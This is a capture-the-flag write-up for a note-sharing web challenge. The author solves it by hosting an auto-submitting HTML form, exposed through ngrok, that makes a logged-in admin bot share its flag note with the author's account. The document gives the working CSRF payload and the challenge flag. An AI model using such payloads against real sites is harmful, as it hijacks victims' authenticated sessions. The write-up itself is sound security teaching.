VERE - Web-2 - Notes1

Published at Jan 25, 2025

#ctf#web
Challenge

Here’s my new note-tracking server! GitHub Copilot made most of it, so I’m sure there’s no problems with it.

Your goal (as you should be able to see in the code) is get the admin bot to share the note with you through a POST-based CSRF attack. If it was just GET-based, you could have it visit a link like http://127.0.0.1:1337/share?user=yourusername or something, but that’s not the case. INSTEAD, you have to make it visit a publicly-available website that you own; once they navigate to that site, the webpage the admin bot lands on should automatically fill out a form and submit it (using POST) to http://127.0.0.1:1337/your_path to perform your desired behavior. Note that every time you send a link to the admin bot, it logs into the admin account on 127.0.0.1:1337 first.

If you don’t have a publicly-available web server, look into using something like ngrok with a free account (link).

Don’t be intimidated by the size of the server, you don’t need to worry about the login functionality (although if you can break it props to you I guess). In addition, most of the application understanding should be able to come from simply interacting with the server.


This challenge focuses on exploiting a CSRF vulnerability in a web application to trick an admin bot into sharing a note with the attacker. The attacker must create a malicious webpage to conduct the attack. The admin bot uses POST requests for the /share endpoint, making it resistant to basic GET-based CSRF attacks.

First Look

The first thing I did was click on the supplied links.

The Notes Server

I was greeted with a blank login screen with a link to register a user. I made a user hesapirate and logged in. I can now see the home screen, with two links to View notes and Logout. Clicking on View notes brought me to en empty screen that I was hoping would do as it was titled and show me my notes.

Notes

I can now see that there are options to Create a note and to Share a note. Creating a note makes that note appear within the Notes section with a generated ID.

Created Note

Going to the share note section presents the fields Note ID and User. This Note ID appears to be how the notes are kept distinct, and will likely be the vector I need to have the admin bot share it’s flag note with my user.

Share Note

The Admin Bot

Visiting the admin bot page presents a field for user input inviting the user to “Have the admin bot visit a page”

Admin bot

Submitting a URL makes the Go button temporarily turn into Visiting page..., until this alert pops up on the screen indicating that it performed its function:

Visited Page

Let’s break down the code and see if we can learn anything more about these pages and how they work.

Analyzing the Code

  1. Admin Bot (admin_bot.js):

    • Automate browser actions as if it were a legitimate user.
    • Operates under the username admin
    • Visits a URL provided by the user into the admin_bot webpage.
  2. Server (server.py):

    • Creates a basic note sharing webpage that allows for logging in, creating and viewing of notes, with unique IDs applied to each specific note.

    • Implements a /share endpoint that requires a POST request with two parameters:

      • note_id: A 32-character identifier for the note.
      • user: The recipient’s username.
    • We can also see that the flag is within the note with these parameters:

      "note":FLAG,
      "user":"admin",
      "id":"00000000000000000000000000000000",
    • Validates note_id and user fields and adds the user to the shared list if validation passes.

Additional things to note:

  • The bot must visit a publicly available page controlled by the attacker.
  • The page must trigger a POST request to http://127.0.0.1:1337/share from the bot.
  • Based on the parameters for the note containing the flag, we know that we need to have the bot share it’s note with ID 00000000000000000000000000000000 to our user.

Exploitation

To exploit this notes server, we need to craft a webpage that includes a form targeting the /share endpoint, prefills the required fields (note_id and user), and submits the form automatically upon page load.

In order to achieve this, I wrote an HTML (index.html) page:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>CSRF Attack</title>
</head>
<body>
    <form id="csrfForm" action="http://127.0.0.1:1337/share" method="POST">
        <input type="hidden" name="note_id" value="00000000000000000000000000000000">
        <input type="hidden" name="user" value="hesapirate">
    </form>
    <script>
        document.getElementById('csrfForm').submit();
    </script>
</body>
</html>

My page provides prefilled values for the note_id and user fields, set to the desired note id and my own user. The admin bot will visit the page and submit the form, effectively sharing its own note with the flag on it with my user.

I hosted the page on my home server, supplied it a domain from my private DNS server, and provided it to the admin bot. Somehow, though, I wasn’t seeing any results. Realizing this was because my infrastructure revolves around containing everything within my network, and then tunneling my personal traffic through a self-hosted VPN in order to still access it. So, while I could pull up my site and see the HTTP request in my logs, the bot was only seeing a 404 because my personal domain does not exist outside of my own network. The solve would work if I were to host the challenge locally, however, in order to get the real flag I’d need to go public.

I turned to the author’s suggested tool ngrok, learned how to host a public server, and pointed it to my html page.

Using Ngrok, my HTML file can be hosted as follows:

  1. Start a local web server (e.g., Python’s http.server):

    python -m http.server 8080
  2. Start Ngrok:

    ngrok http 8080

    When I provide the new ngrok URL https://c172-136-36-47-57.ngrok-free.app to the admin bot, the bot logs in, navigates to the provided URL, and submits the form. The /share endpoint processes the POST request, sharing the note with my account (hesapirate, which was hardcoded into my html form), and revealing the flag on my dashboard!

    flag

vere{csrf_can_work_for_some_POST_requests_too_688e29f4bdb3}

Zac Conlin © 2025